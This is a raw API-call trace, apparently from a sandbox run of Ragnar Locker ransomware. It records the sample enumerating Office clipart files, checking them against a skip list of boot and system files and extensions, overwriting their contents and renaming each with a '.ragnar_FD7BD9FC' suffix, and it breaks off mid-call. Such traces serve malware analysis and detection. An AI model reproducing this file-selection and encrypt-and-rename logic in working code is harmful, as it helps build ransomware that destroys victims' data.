GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf")) returned 0x20 [0085.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.928] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5060) returned 1 [0085.928] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.928] GetProcessHeap () returned 0x580000 [0085.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.928] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.930] VirtualAlloc (lpAddress=0x0, dwSize=0x13c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.930] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13c4, lpOverlapped=0x0) returned 1 [0085.931] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.931] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.931] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13c4, lpOverlapped=0x0) returned 1 [0085.931] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.931] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.932] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.932] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.932] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.932] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.932] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.932] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.932] GetProcessHeap () returned 0x580000 [0085.932] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.932] CloseHandle (hObject=0xf4) returned 1 [0085.932] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" [0085.932] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.ragnar_FD7BD9FC" [0085.932] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.933] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0085.933] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.933] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199469.WMF" | out: lpString1="J0199469.WMF") returned="J0199469.WMF" [0085.933] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned=".WMF" [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="autorun.inf") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="boot.ini") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="bootfont.bin") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="bootsect.bak") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="bootmgr") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="bootmgr.efi") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="bootmgfw.efi") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="desktop.ini") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="iconcache.db") returned 1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="ntldr") returned -1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="ntuser.dat") returned -1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="ntuser.dat.log") returned -1 [0085.933] lstrcmpiW (lpString1="J0199469.WMF", lpString2="ntuser.ini") returned -1 [0085.934] lstrcmpiW (lpString1="J0199469.WMF", lpString2="thumbs.db") returned -1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.934] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf")) returned 0x20 [0085.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.934] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13756) returned 1 [0085.934] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.934] GetProcessHeap () returned 0x580000 [0085.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.934] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.936] VirtualAlloc (lpAddress=0x0, dwSize=0x35bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.936] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x35bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x35bc, lpOverlapped=0x0) returned 1 [0085.937] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.937] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.937] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x35bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x35bc, lpOverlapped=0x0) returned 1 [0085.937] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.937] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.938] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.938] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.938] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.938] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.938] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.938] GetProcessHeap () returned 0x580000 [0085.938] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.938] CloseHandle (hObject=0xf4) returned 1 [0085.938] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" [0085.938] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.ragnar_FD7BD9FC" [0085.938] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.939] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0085.939] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.939] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199473.WMF" | out: lpString1="J0199473.WMF") returned="J0199473.WMF" [0085.939] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned=".WMF" [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="autorun.inf") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="boot.ini") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="bootfont.bin") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="bootsect.bak") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="bootmgr") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="bootmgr.efi") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="bootmgfw.efi") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="desktop.ini") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="iconcache.db") returned 1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="ntldr") returned -1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="ntuser.dat") returned -1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="ntuser.dat.log") returned -1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="ntuser.ini") returned -1 [0085.939] lstrcmpiW (lpString1="J0199473.WMF", lpString2="thumbs.db") returned -1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.939] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf")) returned 0x20 [0085.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.940] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10776) returned 1 [0085.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.940] GetProcessHeap () returned 0x580000 [0085.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.940] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.941] VirtualAlloc (lpAddress=0x0, dwSize=0x2a18, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.942] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.942] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.942] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a18, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a18, lpOverlapped=0x0) returned 1 [0085.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.943] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a18, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.943] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a18, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a18, lpOverlapped=0x0) returned 1 [0085.943] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.943] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.943] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.943] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.943] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.943] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.944] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.944] GetProcessHeap () returned 0x580000 [0085.944] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.944] CloseHandle (hObject=0xf4) returned 1 [0085.944] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" [0085.944] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.ragnar_FD7BD9FC" [0085.944] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.944] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0085.944] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.944] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199475.WMF" | out: lpString1="J0199475.WMF") returned="J0199475.WMF" [0085.945] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned=".WMF" [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="autorun.inf") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="boot.ini") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="bootfont.bin") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="bootsect.bak") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="bootmgr") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="bootmgr.efi") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="bootmgfw.efi") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="desktop.ini") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="iconcache.db") returned 1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="ntldr") returned -1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="ntuser.dat") returned -1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="ntuser.dat.log") returned -1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="ntuser.ini") returned -1 [0085.945] lstrcmpiW (lpString1="J0199475.WMF", lpString2="thumbs.db") returned -1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf")) returned 0x20 [0085.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.946] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5252) returned 1 [0085.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x147b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.946] GetProcessHeap () returned 0x580000 [0085.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.946] ReadFile (in: hFile=0xf4, 